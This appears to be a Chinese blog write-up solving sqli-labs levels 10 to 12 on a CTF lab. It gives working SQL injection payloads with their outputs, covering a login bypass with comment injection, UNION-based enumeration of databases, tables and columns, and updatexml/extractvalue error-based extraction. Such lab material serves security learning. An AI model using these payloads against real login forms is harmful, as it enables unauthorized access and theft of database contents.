sqli_labs-10,11,12 --详细解析

Less-10

信息搜集

是一个登录框,有两个传参点:

随便输一下,抓包看看传参形式和参数名:
POST传参,有uname和passwd参数。

SQL注入

从uname参数注入试试。先判断一下闭合类型,输入admin'
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin'' and password='' LIMIT 0,1' at line 1

根据报错信息,可知两个传参点都是单引号闭合

而且这两个参数是用同一条语句查询的,这就意味着如果我们在uname传参点把后面的语句都注释掉,就可以通过只输入用户名的方式登录,而无需密码。

sql 复制代码
admin'--+ //报错,过滤了--+
admin'#  //成功登录

我们看到这里回显了账号和密码,大概推测回显位有两个。那么order by语句测试一下,果然是两个回显位。

sql 复制代码
0' union select 1,2#

判断了每个回显位对应的位置,而且知道了可以使用联合注入,接下来就是联合注入走流程:

sql 复制代码
0' union select 1,2#
0' union select 1,(select database())# //security
0' union select 1,(select group_concat(schema_name) from information_schema.schemata)# //ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')# //flagugsd
0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagugsd')# //id,flag43s
0' union select 1,(select group_concat(flag43s) from ctfshow.flagugsd)# //ctfshow{843bd566-43dd-4cc5-b215-433b86b7d678}

得到flag.

Less-11

信息搜集

和上一题一样

SQL注入

测试到双引号闭合的时候报错了
可知是双引号加括号闭合:admin")#,成功登录。

回显位和上一题一样。

依旧联合注入:

sql 复制代码
0") union select 1,(select group_concat(schema_name) from information_schema.schemata)# //ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
0") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')# //flagugsds
0") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagugsds')# //id,flag43as
0") union select 1,(select group_concat(flag43as) from ctfshow.flagugsds)# //ctfshow{b40cd342-4b6f-44ed-9e3e-795340dc1075}

得到flag。

Less-12

信息搜集

和前两题一样。

SQL注入

测试闭合,发现是单引号+括号闭合:admin')#

但是这次不会回显账号密码了,没有了回显位,联合注入被ban了。

由于有报错信息回显,所以我们使用报错注入。

用updatexml报错注入:

sql 复制代码
admin') and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)# //'~ctfshow,ctftraining,information'

admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)# //'~flag~'

admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e),1)# //~id,flag4~'

admin') and updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e),1)# //'~ctfshow{6d80844a-5452-496e-86d0'

admin') and updatexml(1,concat(0x7e,right((select group_concat(flag4) from ctfshow.flag),30),0x7e),1)# // '~a-5452-496e-86d0-3cfca652aee7}~'

ctfshow{6d80844a-5452-496e-86d0-3cfca652aee7}

extractvalue注入:

sql 复制代码
admin') and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e))# //~ctfshow{6d80844a-5452-496e-86d0'

admin') and extractvalue(1,concat(0x7e,right((select group_concat(flag4) from ctfshow.flag),30),0x7e))# //'~a-5452-496e-86d0-3cfca652aee7}~'

都能得到flag。

相关推荐
钊兵1 小时前
数据库驱动免费下载(Oracle、Mysql、达梦、Postgresql)
数据库·mysql·postgresql·oracle·达梦·驱动
weixin_425878232 小时前
Redis复制性能优化利器:深入解析replica-lazy-flush参数
数据库·redis·性能优化
左灯右行的爱情2 小时前
Redis数据结构总结-listPack
数据结构·数据库·redis
网络安全(king)2 小时前
网络安全知识:网络安全网格架构
安全·web安全·架构
anddddoooo2 小时前
域内证书维权
服务器·网络·网络协议·安全·网络安全·https·ssl
Dyan_csdn2 小时前
【Python项目】基于Python的Web漏洞挖掘系统
网络·python·安全·web安全
隔壁老王1563 小时前
mysql实时同步到es
数据库·mysql·elasticsearch
想要打 Acm 的小周同学呀3 小时前
Redis三剑客解决方案
数据库·redis·缓存
rkmhr_sef3 小时前
Redis 下载与安装 教程 windows版
数据库·windows·redis